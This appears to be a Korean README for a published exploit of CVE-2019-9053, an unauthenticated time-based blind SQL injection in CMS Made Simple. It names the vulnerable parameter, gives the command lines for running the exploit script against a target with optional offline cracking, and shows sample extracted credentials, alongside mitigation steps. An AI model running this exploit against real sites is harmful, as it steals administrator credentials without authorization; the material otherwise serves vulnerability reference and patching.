CVE-2019-9053 — CMS Made Simple의 인증되지 않은 SQL 인젝션

설명

CVE-2019-9053은 CMS Made Simple ≤ 2.2.9 버전에 영향을 주는 시간 기반 블라인드(Time-based Blind) SQL 인젝션 취약점입니다. 인증이 필요하지 않습니다.

취약한 매개변수는 News 모듈(moduleinterface.php)의 m1_idlist입니다. 공격자는 이를 악용하여 관리자 비밀번호 해시, 사용자 이름, 이메일 및 해시에 사용된 salt를 추출할 수 있습니다.

비밀번호 저장 방식은 MD5(salt + password)이며, salt는 8바이트입니다. 이를 통해 해시와 salt를 획득한 후 hashcat이나 John the Ripper 같은 도구로 오프라인에서 비밀번호 크래킹을 시도할 수 있습니다.

CVSS 3.1: 7.5 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

기술 세부 사항

익스플로잇

원작자

Daniele Scanu — @Certimeter Group

원본 익스플로잇은 Exploit-DB #46635에서 확인할 수 있습니다.

요구 사항

• Python 2.7
• requests, termcolor

pip2 install requests termcolor

사용법

# 자격 증명 추출 (salt, 사용자 이름, 이메일, 비밀번호 해시)
python 46635.py -u http://target/cmsms

# 자격 증명 추출 및 wordlist로 비밀번호 크래킹 시도
python 46635.py -u http://target/cmsms --crack -w /path/to/rockyou.txt

매개변수

동작 방식

이 익스플로잇은 SLEEP()가 포함된 SQL 페이로드를 담은 HTTP 요청을 전송하여 문자별로 값을 판별합니다:

1. Salt: sitepref_name = 'sitemask' 조건의 cms_siteprefs에서 salt 추출
2. 사용자 이름: user_id = 1 조건의 cms_users에서 사용자 이름 추출
3. 이메일: 첫 번째 관리자 사용자의 이메일 추출
4. 비밀번호 해시: cms_users에서 해시 추출
5. 크래킹 (선택 사항): MD5(salt + password)에 대해 wordlist의 각 줄을 대입

출력 예시

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: [email protected]
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

완화 방법

• CMS Made Simple을 ≥ 2.2.10 버전으로 업데이트
• 업데이트가 불가능한 경우 News 모듈을 비활성화하거나 moduleinterface.php에 대한 접근 제한

참조

• NVD — CVE-2019-9053
• Exploit-DB #46635
• CVE Mitre